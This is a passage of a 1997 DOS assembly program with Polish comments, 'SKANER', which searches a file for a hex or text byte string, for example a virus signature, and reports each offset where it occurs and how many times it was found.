; _ Procedura obslugi INT 24h <dialog ARIF-Abort,Retry,Ignore,Fail> ;
; zastapiona zostala sekwencja sygnalizujaca blad programowi ;
; _ Wyszukiwane sa wszystkie mozliwe wystapenia ciagu ;
; (takze zachodzace na siebie) ;
; ;
;----------------------------------------------------------------------------;
;-------------------------------------------------------------------
; Definicje Stalych
;-------------------------------------------------------------------
JUMPS
;stale logiczne
Falsz equ 00h ; \ definicja dwoch stalych logicznych
Prawda equ Falsz+1 ; / 0=Falsz i 1=Prawda
; stale ogolne
RozmiarStosu equ 128 ; rozmiar stosu w slowach dwubajtowych
RozmiarCiagu equ 128 ; rozmiar bufora na wyszukiwany ciag
RozmiarBuforaDanych equ 127*512 ; rozmiar bufora na dane = segment 64K-512
DlugNazwyPliku equ 128 ; dlugosc pelnej nazwy pliku
LiniaPolecen equ 80h ; adres (w PSP) do parametrow
; stale znakowe
ZnakTabulacji equ 09h ; \
ZnakSpacji equ ' ' ; \
ZnakKoncaLinii equ 0Dh ; - stale znakowe
CR equ 0Dh ; /
LF equ 0Ah ; /
; stale bledow
; na ich podstawie nastepuje obliczenie ofsetu komunikatu o bledzie
BlBezBledu equ 00h ; nie ma bledu
BlBrakParametrow equ 01h ; blad : nie ma parametrow
BlBrakNazwyPliku equ 02h ; blad : brak nazwy pliku w parametrach
BlBrakCiagu equ 03h ; blad : brak ciagu do wyszukania
BlZlyCiag equ 04h ; blad : ciag zawiera bledy
BlBrakPlikuNaDysku equ 05h ; blad : brak pliku podanego jako parametr
BlBlad_ARIF equ 06h ; blad : brak dostepu do pliku (int 24h)
BlZlyAtrybutPliku equ 07h ; blad : nie plik tylko etykieta dysku lub katalog
BlBrakDostepuDoPliku equ 08h ; blad : nie mozna zmienic atrybutow na archive
BlNieMogeOtworzyc equ 09h ; blad : nie moge otworzyc pliku
BlNieMogeCzytac equ 0Ah ; blad : nie moge czytac pliku
BlNieMogeZamknac equ 0Bh ; blad : nie moge zamknac pliku
BlPlikZaKrotki equ 0Ch ; blad : plik krotszy niz dlugosc ciagu
; stale drukowania wrostkow
; 7 bit=1 wywolaj procedure konwersji, ktorej adres w [si+1]
; 7 bit=0 wyswietl tekst, ktorego adres jest pod [si+1]
DrPlik equ 01h ; stala dla wrostka NazwaPliku
DrCiag equ 02h ; stala dla wrostka Ciag
DrUnIntDec equ 83h ; stala dla wrostka - liczby bez znaku typu Int (dziesietne)
DrUnIntHex equ 84h ; stala dla wrostka - liczby bez znaku typu Int (szesnastkowo)
IleWrostkow equ 04h ; ile maksymalnie wrostkow
; stale DOS-owe
TrybOtwarciaPliku equ 00000000b ; oznacza otwarcie pliku tylko do odczytu
AtReadOnly equ 00000001b ;\
AtHidden equ 00000010b ; \
AtSystem equ 00000100b ; \
AtVolumeID equ 00001000b ; - atrybuty pozycji katalogu
AtDirectory equ 00010000b ; /
AtArchive equ 00100000b ; /
AtAll equ 00111111b ; /
; definicja bufora DTA (Disk Transfer Area)
DTA_STRUC struc ; struktura potrzebna dla funkcji
NieWazne db 21 dup(?) ; 4E i 4F sluzacych do poszukiwania
Atrybut db ? ; pierwszego (4E) i nastepnego (4F)
Czas dw ? ; wystapienia w katalogu (pliku, katalogu,itp.)
Data dw ? ; opisuje wszystkie parametry pliku
Dlugosc dd ? ; zawarte w FAT z wyjatkiem pierwszego numeru JAP
Nazwa db 13 dup(?)
DTA_STRUC ends
;-------------------------------------------------------------------
; Segment Kodu
;-------------------------------------------------------------------
SKANER SEGMENT
ASSUME CS:SKANER, ds:SKANER
Start: ; poczatek programu
Call UstawParametrySystemu ; ustaw DS+nowe (DTA i int 24h)
mov si,Offset TeCopyRight ;
Call DrukLn ; wyswietl komunikat o programie
Call CzytajParametry ; Wez z PSP:80h parametry : Plik+Ciag
jc Blad ; gdy CF=1, to blad
Call SprawdzPlik ; czy plik istnieje ?
jc blad
Call SzukajLancuch ; Szukaj lancucha w pliku
jc Blad
mov NumerBledu,BlBezBledu ; wszystko OK !
Blad: ; skacz tu, jesli jakis blad
Call PrzywrocParametrySystemu ; stare DTA+INT 24h
Call OstatniKomunikat ; zwraca 0=bez bledu lub FF=blad
mov ah, 4Ch ; funkcja powrotu do systemu DOS
int 21h ; wywolaj funkcje
;-------------------------------------------------------------------
OstatniKomunikat proc near ; wyswietla komunikat na koncu programu
pushf ; zachowaj znaczniki, potrzebne pozniej
mov ax,seg SKANER
mov ds,ax ; DS=segment danych
mov al, NumerBledu ; al=numer bledu
cbw ; ax=numer bledu
shl ax,1 ; ax=ax*2, bo kazdy ofset=2 bajty
add ax,Offset OffsetyKomunikatow ; ax=tablica z adresami komunikatow bledow
xchg ax,bx ; bx=tablica z adresami komunikatow bledow
; [bx]=tablica[blad]
mov si,[bx] ; dx=offset do komunikatu o bledzie (lub 'OK')
Call DrukLn ; wypisz komunikat
popf ; przywroc znaczniki
mov al,0 ; w al przekaz kod bledu, 0=bez bledu
sbb al,0 ; jezeli blad, to al=FF
ret
OstatniKomunikat endp
;-------------------------------------------------------------------
SzukajLancuch proc near ; otwiera plik i szuka zadany ciag
; w calym pliku
mov ax,seg ProgDTA ; ustaw ES na segment, do ktorego beda
mov es,ax ; wczytywane dane =127 sektorow
mov ax,word ptr [BufDTA.Dlugosc] ; -DX:AX = dlugosc pliku
mov dx,word ptr [BufDTA.Dlugosc+2] ; /
or dx,dx ; czy b. znacz. czesc dlugosci =0
jnz DlugiPlik ; nie -> dlugosc<>0
cmp ax,DlugoscCiagu ; b. znacz. czesc=0, czy mniej znacz. czesc
jae DlugiPlik ; dlugosci > dlugosc ciagu
mov NumerBledu,BlPlikZaKrotki ; Blad : plik krotszy od ciagu !
jmp short NieMogeOtworzyc ; wyswietl blad
DlugiPlik:
mov si,offset TeSzukamCiagu ; wyswietl informacje o szukaniu
Call DrukLn ; lancuchu w pliku
mov NumerBledu,BlNieMogeOtworzyc ; ewentualny numer bledu
mov dx,Offset NazwaPliku ; nazwa pliku w DS:DX, tryb dostepu w AL
mov ax,3D00h+TrybOtwarciaPliku ; funkcja DOS - otworz plik
int 21h ; DOS : otworz plik
jc NieMogeOtworzyc ; CF=1 -> blad
xchg ax,bx ; BX=uchwyt pliku
Call CzytajSzukaj ; szukaj lancucha w calym pliku
jc NieMogeOtworzyc
mov ah,3Eh ; zamknij plik
int 21h ;
mov ax,word ptr [IleZnalezionych] ; wyswietl, ile razy ciag
mov dx,word ptr [IleZnalezionych+2] ; wystapil w pliku
mov si, offset TeZnalazlem
or dx,dx ; \ sprawdz, czy przynajmniej
jnz CosZnalazl ; \ raz, jak ani razu to
or ax,ax ; / inny komunikat
jnz CosZnalazl ; /
mov si, offset TeNieZnalazlem
CosZnalazl:
Call DrukLn ; wyswietl komunikat spod DS:SI
clc ; nie ma bledu
NieMogeOtworzyc:
ret ; powrot z procedury
SzukajLancuch endp
;-------------------------------------------------------------------
CzytajSzukaj proc near ; czytaj w pliku i szukaj lancuch
; na wejsciu numer pliku w BX
xor ax,ax ; \
mov word ptr [IleZnalezionych] ,ax ; \
mov word ptr [IleZnalezionych+2],ax ; - wyzeruj zmienne
mov word ptr [AdresCzytania],ax ; /
mov word ptr [AdresCzytania+2],ax ; /
mov NumerBledu,BlNieMogeCzytac ; ewent. blad
xor bp,bp ; BP oznacza odstep od poczatku bufora,
; pod ktory wczytujemy dane, na poczatku=0
dec DlugoscCiagu ; zmniejsz o 1 dlugosc ciagu potrzebne
; w pozniejszej operacji porownania
cld ; w oper. lancuchowych INC(SI,DI)
CzytajDoBufora: ; petla glowna
push ds ; zachowaj DS na stosie
mov ax,es
mov ds,ax ; DS=ES=segment na dane z pliku
mov cx,RozmiarBuforaDanych ; ile czytac danych
mov dx,offset BuforDanych ; DS:DX = tu wczytuj dane
add dx,bp ; dodaj dlug. danych, ktore zostaly z poprz. odczytu
mov ah,3Fh ; DOS : funkcja czytania
int 21h ; DOS : wykonaj funkcje
pop ds ; przywroc DS
jc NieMogeCzytac ; gdy CF=1, to blad
add word ptr [AdresCzytania],ax ; \dodaj do pozycji odczytu ilosc
adc word ptr [AdresCzytania+2],0 ; /odczytanaych bajtow
mov [Przeczytane],ax
add ax,bp ; \do ilosci odczytanych bajtow dodaj dlugosc danych
; /pozostalych z poprzedniego odczytu
cmp ax,DlugoscCiagu ; \ ax=dlugosc danych do porownania
jb KoniecPliku ; - jesli mniej niz ciag, to nie trzeba porownywac
; / bo i tak ciag sie nie znajdzie
xchg ax,cx ; cx=dlugosc danych do porownania
push cx ; zachowaj do pozniejszego porownania
mov di,offset BuforDanych ; poczatek danych
SzukajPierwszej:
mov si,Offset Ciag ; ofset do wyszukiwanego ciagu
lodsb ; al=pierwsza litera ciagu, INC(SI)
repnz scasb ; szukaj, az znajdzie w danych pierwsza litere
jnz NieMaPierwszej ; jesli nie znalazl, to czytaj dalej z pliku
cmp cx,DlugoscCiagu ; czy wystarczy danych w buforze do porownania ?
jae PorownajCaly ; jest co najmniej tyle lub wiecej to OK
inc cx ; - za malo danych
dec di ; - cofnij DI,CX na poprzednie wartosci
mov si,di ; - skopiuj koncowke bufora na poczatek
mov di,offset BuforDanych ; - zachowaj w BP dlugosc tej koncowki
mov bp,cx ; - w nastepnym odczycie dane wczytane
rep movs byte ptr es:[di],es:[si] ; - umieszczone beda za ta koncowka
jmp short NieMaPierwszej ; - a porownywanie sie powtorzy, ale teraz beda dane
PorownajCaly: ; - do porownania, po skoku czytaj dalej dane
push cx ;
push di ; zachowaj aktualna pozycje w buforze i licznik
mov cx,DlugoscCiagu ; dokladniej : dlugosc ciagu-1 bo nie musimy porownywac
; pierwszej litery, ktora juz byla sprawdzona
jcxz JednoLiterowy ; jesli CX=0, to ciag byl jednoliterowy
rep cmpsb ; porownaj cx bajtow
jne NieMaLancucha ; jesli ZF=0, nie znalazl ciagu
JednoLiterowy:
mov ax,word ptr [AdresCzytania] ; DX:AX=32 bitowa pozycja odczytu pliku
mov dx,word ptr [AdresCzytania+2]
sub ax,[Przeczytane]
sbb dx,0
sub ax,bp
sbb dx,0
pop di ; przywroc odleglosc od poczatku bufora
push di ; zachowaj di
dec di ; zmniejsz wskaznik, zeby wskazywal na pierwsza litere
add ax,di
adc dx,0 ; dodawanie 32 bitowe
; DX:AX = adres fizyczny wzgledem pocz. pliku
mov word ptr [AdresZnalezienia],ax ; -zapamietaj ten adres w zmiennej, bo procedura
mov word ptr [AdresZnalezienia+2],dx; /konwersji korzysta z ofsetu do zmiennej, zeby ja wyswietlic
mov si,offset TeZnalezionyNaPozycji ; -wyswietl tekst ze znalazl
Call DrukLn ; /adres : wyswietl szesnastkowo i dziesiatkowo
add word ptr [IleZnalezionych],1 ; -zwieksz 32 bitowy licznik wystapien
adc word ptr [IleZnalezionych+2],0 ; /dodaj ewentualne przeniesienie z 15 na 16 bit
NieMaLancucha:
pop di ;
pop cx ; przywroc aktualna pozycje w buforze+licznik
jcxz NieMaPierwszej ; czy juz caly bufor pusty ?
; xor bp,bp ; zeruj dlugosc koncowki
jmp short SzukajPierwszej ; skocz i szukaj nastepnego wystapienia
NieMaPierwszej:
pop ax ; zdejmij ilosc odczytanych danych ze stosu
cmp ax,RozmiarBuforaDanych ; i porownaj, czy tyle ile bylo wczytywanych
jb KoniecPliku ; jesli nie tyle samo, to koniec pliku
; jesli tyle samo, to czytaj dalej
jmp CzytajDoBufora ; skocz i czytaj dalej dane
KoniecPliku: ; dane sie skonczyly
clc ; nie ma bledu
NieMogeCzytac:
ret ; wroc z procedury
CzytajSzukaj endp
;-------------------------------------------------------------------
PrzywrocParametrySystemu proc near ; przywraca stare adresy DTA+Int 24h
; i ewentualnie atrybuty pliku
; (jezeli sytemowy, ukryty)
pushf ; zachowaj flagi z ew. bledem
cmp ZmienAtrPliku,Prawda ; czy przywrocic atrybut ?
jne NiePrzywracajAtrybutu ; skocz jesli nie
mov ax,4301h ; DOS: funkcja 43xxh wez(xx=0)/ustaw(xx=1) atr. pliku
xor ch,ch ; ch=0
mov cl,[BufDTA.Atrybut] ; cx=stare atrybuty
mov dx,Offset NazwaPliku ; DS:DX =nazwa pliku
int 21h ; DOS : zmien atrybuty
NiePrzywracajAtrybutu:
push ds ; zachowaj segment danych
push ds ; 2 razy -> na pozniej
lds dx,dword ptr [StareI24Ofs] ; przywroc stara obsluge bledow
mov ax,2524h ; ustaw Int 24h
int 21h ; funkcja 25h - ustaw wektor (numer w AL)
pop ds ; przywroc segment danych
lds dx,dword ptr [StareDTAOfs] ; przywroc stare DTA
mov ah,1Ah ; funkcja 1Ah - ustaw DTA
int 21h ; wywolaj funkcje
pop ds ; przywroc segment danych
popf ; przywroc znaczniki z ew. bledem
ret ; powrot z procedury
PrzywrocParametrySystemu endp
;-------------------------------------------------------------------
UstawParametrySystemu proc near ; ustaw obsluge przerwania 24h
; nowy bufor DTA
mov ax,seg SKANER
mov ds,ax ; DS=segment danych
mov MojAdresPSP,es ; zachowaj PSP
mov ax,3524h ; funkcja wez adres przerwania (num. w AL)
int 21h ; wez stare INT 24h do rejestrow ES:BX
mov StareI24Ofs,bx ; - zachowaj stare przerwanie
mov StareI24Seg,es ; / ES=segment, BX=offset
mov ah,2Fh ; wez stare DTA do rejestrow ES:BX
int 21h
mov StareDTAOfs,bx
mov StareDTASeg,es ; ES=segment, BX=ofset
mov dx,Offset BufDTA
mov ah,1Ah ; ustaw nowe DTA na adres zawarty w DS:DX
int 21h
push ds ; zachowaj DS
push cs ; -DS=CS
pop ds ; /
mov dx,offset NoweInt24 ; ustaw nowe przerwanie 24h
mov ax,2524h ; w DS:DX
int 21h
pop ds ; przywroc DS
ret ; powrot z procedury
UstawParametrySystemu endp
;-------------------------------------------------------------------
NoweInt24 proc near ; procedura obslugi przerwania programowego bledow
; krytycznych wywolywana przez DOS w razie bledu
push ds ; \
push ax ; -zachowaj DS i AX
mov ax,seg SKANER
mov ds,ax ; ds=segment danych
mov NumerBledu,BlBlad_ARIF ; zachowaj numer bledu
pop ax ; \
pop ds ; -przywroc DS i AX
mov al,3 ; pomin blad-program sam zadecyduje co dalej
iret ; nie wywoluj standardowego dialogu ARIF
NoweInt24 endp ; powrot z procedury obslugi przerwania programowego
;-------------------------------------------------------------------
SprawdzPlik proc near ; szukaj plik podany jako parametr
mov ZmienAtrPliku,Falsz ; na razie nie znamy atrybutow, wiec nie trzeba
; przywracac oryginalnych
mov NumerBledu,BlBrakPlikuNaDysku ; ustaw ew. numer bledu
mov ah,4Eh ; funkcja szukaj pozycji katalogu
mov dx,offset NazwaPliku ; DS:DX nazwa pliku
mov cx,AtAll ; w CX podaj atrybut szukanej pozycji
int 21h ; wywolaj funkcje
jc NieMaPliku ; gdy CF=1, to blad
mov si,offset BufDTA ; nie ma bledu , info o pliku jest w buforze DTA
mov al,[BufDTA.Atrybut] ; wez atrybut pliku
mov NumerBledu,BlZlyAtrybutPliku ; ewent. blad
test al,AtVolumeID+AtDirectory ; sprawdz, czy etykieta lub katalog (testuj bity)
stc ; ustaw ewent. blad
jnz NieMaPliku ; skocz, bo etykieta lub dysk
test al,AtHidden+AtSystem ; testuj bity : ukryty lub system
mov NumerBledu,BlBrakDostepuDoPliku ; ewent. blad
jz NieZmienAtr ; nie sa ustawione, to skocz dalej
mov ZmienAtrPliku,Prawda ; trzeba zmienic atrybut, zeby mozna bylo odczytac
mov ax,4301h ; funkcja ustaw atrybut pliku
mov cx,AtArchive ; cx=atrybyt jaki ustawic
mov dx,Offset NazwaPliku ; DS:DX nazwa pliku
int 21h ; wywolaj funkcje
jc NieMaPliku ; gdy CF=1, to blad
NieZmienAtr:
clc ; nie ma bledu, plik gotowy do odczytu
NieMaPliku:
ret ; wroc z procedury
SprawdzPlik endp
;-------------------------------------------------------------------
CzytajParametry proc near ; wez parametry z PSP:80h
push ds ; zachowaj DS
mov ax,ds ; ES=DS=segment z danymi
mov es,ax
mov ds,MojAdresPSP ; DS=blok PSP
mov si,LiniaPolecen ; ofset w PSP do linii polecen
mov es:NumerBledu,BlBrakParametrow ; ewentualny numer bledu
cmp byte ptr ds:[si],0 ; dlugosc linii polecen
je BladParametrow ; jezeli pusta, to nie ma parametrow
inc si ; pomin licznik
inc si ; pomin spacje
cld ; INC(SI,DI) w oper. na lancuchach
Call OpuscSpacje ; czytaj az znak <> SPACJA lub TAB
mov es:NumerBledu,BlBrakNazwyPliku ; ewentualny numer bledu
cmp al,ZnakKoncaLinii ;\ czy koniec parametrow ?
je BladParametrow ;- jesli tak, to powrot z procedury
mov di, offset NazwaPliku ; es:di : tu zapisz wyniki
Call KopiujDoSpacji ; kopiuj nazwe pliku
mov es:NumerBledu,BlBrakCiagu ; ewentualny numer bledu
cmp al,ZnakKoncaLinii ;\ czy koniec parametrow ?
je BladParametrow ;- jesli tak, to powrot z procedury
xor al,al ; plik ASCIIZ, wiec dodaj zero
stosb
Call OpuscSpacje ; czytaj az znak <>SPACJA lub TAB
cmp al,ZnakKoncaLinii ; czy koniec parametrow
je BladParametrow ; jesli tak, to blad
mov es:NumerBledu,BlZlyCiag ; ewentualny numer bledu
mov di, offset Ciag ; es:di : tu zapisz ciag
Call KopiujCiagDoKonca ; kopiuj parametr : ciag
jc BladParametrow ; jesli TAK, to blad
mov ax,di
sub ax,offset Ciag
jz BladParametrow ; jesli TAK, to lancuch pusty
mov es:DlugoscCiagu ,ax ; - zachowaj dlugosc ciagu
mov es:AbsDlugoscCiagu ,ax ; - zachowaj 2-i raz dlugosc ciagu
clc ; nie ma bledu
jmp short $+3 ; skocz i pomin rozkaz STC
BladParametrow:
stc ; jest blad
pop ds
ret ; wroc z procedury
CzytajParametry endp
;-------------------------------------------------------------------
OpuscSpacje proc near
lodsb ; czytaj znak z ds:[si], inc si
cmp al,ZnakSpacji ;\
je OpuscSpacje ; \ czy spacja lub znak tabulacji ?
cmp al,ZnakTabulacji ; / jezeli tak, to czytaj nastepny znak
je OpuscSpacje ;/
dec si ; zmniejsz wskaznik na poprzedni znak
ret ; powroc z procedury
OpuscSpacje endp
;-------------------------------------------------------------------
KopiujDoSpacji proc near
KopiujZnak:
lodsb ; czytaj znak z ds:[si], inc si
cmp al,ZnakSpacji ;\
je NieKopiuj ; \ czy spacja lub znak tabulacji
cmp al,ZnakTabulacji ; \lub koniec linii polecen
je NieKopiuj ; /jezeli tak, to koncz kopiowanie
cmp al,ZnakKoncaLinii ; /
je NieKopiuj ;/
stosb ; skopiuj znak
jmp short KopiujZnak ; skocz i wez nastepny znak
NieKopiuj:
dec si ; zmniejsz wskaznik na poprzedni znak
ret ; powroc z procedury
KopiujDoSpacji endp
;-------------------------------------------------------------------
KopiujCiagDoKonca proc
Pa_Nic = 00
Pa_Apostrof = 01
mov bl,Pa_Nic ; nie bylo znaku specjalnego
mov bh,0
KopiujParamZnak:
lodsb ; czytaj znak z ds:[si], inc si
cmp bl,Pa_Apostrof ; czy tekst w apostrofach ?
jne ZwyklyTekst ; NIE - dane heksalne
cmp al,39 ; czy znak apostrofu ?
jne NieKoniecTekstu ; Nie - idz dalej
mov bl,Pa_Nic ; koniec tekstu w apostrofach
jmp KopiujParamZnak ; idz po kolejny znak
NieKoniecTekstu:
stosb ; kopiuj zwykly tekst
jmp KopiujParamZnak ; wez kolejny znak
ZwyklyTekst:
cmp al,39 ; czy apostrof poczatkowy
jne NiePoczatektekstu ; NIE - sprawdzaj dalej
mov bl,Pa_Apostrof ; ustaw flage
jmp KopiujParamZnak ; idz po nastepny znak
NiePoczatektekstu:
cmp al,ZnakKoncaLinii ; \ pomin, gdy znak=CR
je KoniecParamTekstu ; /
cmp al,ZnakSpacji ; \ pomin, gdy znak=spacja
je KopiujParamZnak ; /
cmp al,ZnakTabulacji ; \ pomin, gdy znak=TAB
je KopiujParamZnak ; /
cmp al,'0' ; czy znak >=0 ?
jb KoniecParamTekstuBlad ; < blad
cmp al,'9' ; czy znak 0..9 ?
jbe ToCyfra09 ; TAK - cyfra
and al,0DFh ; 'a'..'z'->'A'..'Z'
cmp al,'A' ; czy znak <'A' ?
jb KoniecParamTekstuBlad ; TAK - blad
cmp al,'F' ; czy znak >'F' ?
ja KoniecParamTekstuBlad ; TAK - blad
; znak '0'..'F'
ToCyfra09:
cmp bh,0 ; czy licznik znakow=0 ?
je ToPierwszyZnak ; TAK - zachowaj znak na pozniej
cmp al,'9' ; czy znak to cyfra ?
jbe ALJest09 ;
sub al,'A'-'0'-10 ; konwertuj na liczbe
ALJest09:
cmp ah,'9' ; czy drugi znak to cyfra ?
jbe AHJest09
sub ah,'A'-'0'-10 ; konwertuj na liczbe
AHJest09:
sub ax,'00' ; \
mov bh,al ; \ konwersja liczby
mov al,16 ; \ heksalnej zapisanej
mul ah ; / jako lancuch, na zwykla
add al,bh ; / liczbe (znak ASCII)
stosb ; / i zapisz znak
mov bh,0 ; licznik znakow znow=0
mov bl,Pa_Nic ; "czyste" wyjscie
jmp KopiujParamZnak ; wez nastepny znak
ToPierwszyZnak:
mov ah,al ; zachowaj pierwszy znak liczby
mov bh,1 ; jest juz jeden znak
jmp KopiujParamZnak ; idz po nastepny znak
KoniecParamTekstu:
cmp bx,Pa_Nic ; czy "czyste" wyjscie ?
je KoniecParamTekstu2 ; jezeli nie, to blad
dec si ; zmniejsz wskaznik na poprzedni znak
KoniecParamTekstuBlad:
stc ; gdy CF=1, to nie ma bledu
jmp $+3 ; przeskocz 'CLC'
KoniecParamTekstu2:
clc ; gdy CF=0, to nie ma bledu
ret ; powrot z procedury
KopiujCiagDoKonca endp
;-------------------------------------------------------------------
DrukLn proc near ; drukowanie tekstu ACSIIZ spod DS:SI
; z przejsciem do nastepnej linii
Call Druk ; wydrukuj tekst
push si ; \
mov si,Offset TeCRLF ; \
Call Druk ; \
pop si ; --- przejdz do nastepnej linii
ret ; powrot z procedury
DrukLn endp
;-------------------------------------------------------------------
Druk proc near ; drukowanie tekstu ACSIIZ spod DS:SI
push ax ; \
push bx ; \
push cx ; \
push si ; --- zachowaj zmieniane rejestry
DrukZnak: ; petla drukowania jednego znaku
cmp si,offset CiagStart ; \
jb ToNieParamtekst ; \ jezeli drukowany jest
cmp si,offset CiagKoniec ; \ w obszarsze lancucha 'CiagBajtow'
jae ToNieParamtekst ; \ to pozwol drukowac kazdy znak
mov cx,AbsDlugoscCiagu ; \
add cx,offset CiagStart ; /
cmp si,cx ; /
jae KoniecDruku ; /
lodsb ; /
jmp short ToParamtekst ; /
ToNieParamtekst:
lodsb ; wez kolejny znak z lancucha
or al,al ; sprawdz, czy ostatni znak ?
jz KoniecDruku ; jesli tak, to wszystko wydrukowane
mov cx,IleWrostkow ; Ile zdefiniowanych wrostkow
mov bx,Offset TablicaWrostkow ; tablica z definicjami
SzukajWrostka: ; -sprawdz, czy al nie oznacza wrostka
cmp ds:[bx],al ; /
jne NastepnyWrostek ; jesli nie, to sprawdz nastepny w tablicy
test al,80h ; czy 7 bit ustawiony ?
jz NormalnyDruk ; nie - to ofset do tekstu
Call ds:[bx+1] ; tak - to procedura konwersji
xor al,al ; zeruj dla pozniejszego porownania
inc si ; - pomin ofset do liczby do konwrsji
inc si ; /
jmp short NastepnyWrostek ; sprawdz nastepny wrostek w tablicy
NormalnyDruk:
push si ; wrostek to tekst spod ofsetu w tablicy
mov si,ds:[bx+1] ; wrostkow
Call Druk ; wyswietl wrostek
pop si
xor al,al ; zeruj dla pozniejszego porownania
NastepnyWrostek:
add bx,3 ; zwieksz index do tablicy wrostkow
loop SzukajWrostka ; powtorz cx razy
or al,al ; czy to byl wrostek (al=0) ?
jz DrukZnak ; jesli tak, to wez nastepny znak
ToParamtekst:
mov ah,02h ; wyprowadz znak na
mov dl,al ; standardowe wyjscie DOSa
int 21h
jmp short DrukZnak ; skocz i wez nastepny znak lancucha
KoniecDruku:
pop si ; --- przywroc zmienione rejestry
pop cx ; /
pop bx ; /
pop ax ; /
ret ; wracaj
Druk endp
;-------------------------------------------------------------------
Bin2HexUnInt32 proc near ; procedura wyswietla 32 bitowa liczbe szesnastkowa
; ofset do liczby znajduje sie w si
push ax ; \
push bx ; \
push dx ; \
push si ; --- zachowaj zmieniane rejestry
mov bx,[si] ; wez ofset do liczby 32 bitowej
mov ax,[bx] ; - wczytaj liczbe do DX:AX
mov dx,[bx+2] ; /
mov si,offset Hex2DecBufor ; ustaw na poczatek bufora
mov bx,offset HexChars ; wez ofset do tablicy z cyframi szesnastkowymi
push ax ; zapamietaj mniej znacz. slowo
mov ax,dx ; najpierw bar. znacz. slowo
Call Bin2HexUnInt16 ; konwertuj liczbe 16 bitowa
pop ax ; przywroc mniej znacz. slowo
Call Bin2HexUnInt16 ; terax mniej znacz. slowo
mov word ptr [si],'h' ; ustaw na koncu znak 'h' i 0
mov si,offset Hex2DecBufor ; - wyswietl liczbe
Call Druk ; /
pop si ; --- przywroc zmienione rejestry
pop dx ; /
pop bx ; /
pop ax ; /
ret ; powrot
Bin2HexUnInt16: ; wewnetrzna procedura wywoluje "zstepujaco"
; kolejne nizsze ranga procedury konwersji
push ax
mov al,ah ; konwertuj b. znacz. czesc AX
Call Bin2HexUnInt8
pop ax ; konwertuj m. znacz. czesc AX
Bin2HexUnInt8: mov ah,al
shr al,1 ; \
shr al,1 ; \ wyizoluj 4 bity (4..7)
shr al,1 ; / al=gorna polowa liczby
shr al,1 ; / szesnastkowej
Call Bin2HexUnInt4 ; konwertuj b. znacz. bity (4..7)
mov al,ah
and al,15 ; wyizoluj 4 bity (0..3)
Bin2HexUnInt4:
xlatb ; al=byte ptr ds:[bx+al]
mov [si],al ; zachowaj znak w buforze
inc si ; zwieksz indeks
ret ; powrot z wen. procedury
Bin2HexUnInt32 endp
;-------------------------------------------------------------------
Bin2DecUnInt32 proc near ; wyswietla liczbe 32 bitowa bez znaku dziesietnie
push ax ; \
push bx ; \
push dx ; \
push si ; --- zachowaj zmieniane rejestry
mov si,[si] ; wez ofset do liczby 32 bitowej
mov ax,[si] ; - wczytaj liczbe do DX:AX
mov dx,[si+2] ; /
mov si,offset Hex2DecBufor+10 ; ustaw na koniec bufora, bo zapis od konca
mov byte ptr ds:[si],0 ; utworz ASCIIZ (dodaj zero na koncu)
DzielPrzez10:
mov bx,10 ; dziel DX:AX przez BX
Call Dziel32 ; w bx reszta z dzielenia
add bl,'0' ; dodaj ASCII "0"
dec si ; zmniejsz indeks do tablicy
mov byte ptr ds:[si],bl ; zapisz cyfre
or dx,dx ; \
jnz DzielPrzez10 ; \
or ax,ax ; \
jnz DzielPrzez10 ; --- czy liczba jest juz 0 ?
Call Druk ; wyswietl lancuch z liczba po konwersji
pop si ; --- przywroc zmienione rejestry
pop dx ; /
pop bx ; /
pop ax ; /
ret ; powrot
Bin2DecUnInt32 endp
;-------------------------------------------------------------------
Dziel32 proc near ; dziel (dx:ax)/bx
push bp ; zachowaj bp
push ax ; zachowaj mniejsza czesc liczby 32 bitowej
mov ax,dx ; przenies b. znacz. czesc do mniej. znacz.
xor dx,dx ; i wyzeruj dx , dx:ax = > 0:dx
div bx ; podziel (0:dx)/bx
mov bp,ax ; calosc z dzielenia, to wieksza czesc wyniku
pop ax ; przywroc do AX mniej znaczaca liczbe z poczatku
div bx ; dx jest reszta z dzielenia b. znacz. czesci przez BX
mov bx,dx ; w bx reszta z dzielenia
mov dx,bp ; dx:ax=liczba podzielona przez bx,
pop bp ; a w bx reszta z dzielenia
ret
Dziel32 endp
;-------------------------------------------------------------------
; (teksty komunikatow+zmienne ogolne)
;-------------------------------------------------------------------
TeCopyRight db CR,LF,'SKANER v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,' Wywolanie: SKANER NazwaPliku CiagBajtow'
db CR,LF
db CR,LF,' CiagBajtow moze skladac sie z liczb zapisanych heksalnie lub zwyklego'
db CR,LF,' tekstu np: '
db CR,LF,' _ CD 21 - szuka wywolania przerwania 21h'
db CR,LF,' _ ''wirus'' - szuka slowa "wirus"'
db CR,LF,' _ ''abc''80C5''def''EE F6 - szuka lancucha "abcÃ+def_¸"'
TeCRLF db CR,LF,0
TeSzukamCiagu db 'Szukam lancuch "',DrCiag ,'" w pliku "',DrPlik,'"',0
TeBezBledu db 'OK !',0
TeBrakParametrow db 'BLAD : Podaj Parametry !',0
TeBrakNazwyPliku db 'BLAD : Podaj nazwe pliku !',0
TeBrakCiagu db 'BLAD : Podaj ciag do wyszukania',0
TeZlyCiag db 'BLAD : Podany ciag zawiera bledy !',0
TeBrakPlikuNaDysku db 'BLAD : Nie moge znalezc pliku "',DrPlik,'"',0
TeBlad_ARIF db 'BLAD : Brak dostepu do pliku "',DrPlik,'" (int 24h) !',0
TeZlyAtrybutPliku db 'BLAD : "',DrPlik,'" to etykieta dysku lub katalog !',0
TeBrakDostepuDoPliku db 'BLAD : Brak dostepu do pliku - nie mozna chwilowo zmienic atrybutow ! ',0
TeNieMogeOtworzyc db 'BLAD : Nie moge otworzyc pliku "',DrPlik,'"',0
TeNieMogeCzytac db 'BLAD : Nie moge czytac pliku "',DrPlik,'"',0
TeNieMogeZamknac db 'BLAD : Nie moge zamknac pliku "',DrPlik,'"',0
TePlikZaKrotki db 'BLAD : Plik "',DrPlik,'" jest krotszy niz ciag !',0
OffsetyKomunikatow dw offset TeBezBledu ; BlBezBledu equ 00h
dw offset TeBrakParametrow ; BlBrakParametrow equ 01h
dw offset TeBrakNazwyPliku ; BlBrakNazwyPliku equ 02h
dw offset TeBrakCiagu ; BlBrakCiagu equ 03h
dw offset TeZlyCiag ; BlZlyCiag equ 04h
dw offset TeBrakPlikuNaDysku ; BlBrakPlikuNaDysku equ 05h
dw offset TeBlad_ARIF ; BlBlad_ARIF equ 06h
dw offset TeZlyAtrybutPliku ; BlZlyAtrybutPliku equ 07h
dw offset TeBrakDostepuDoPliku ; BlBrakDostepuDoPliku equ 08h
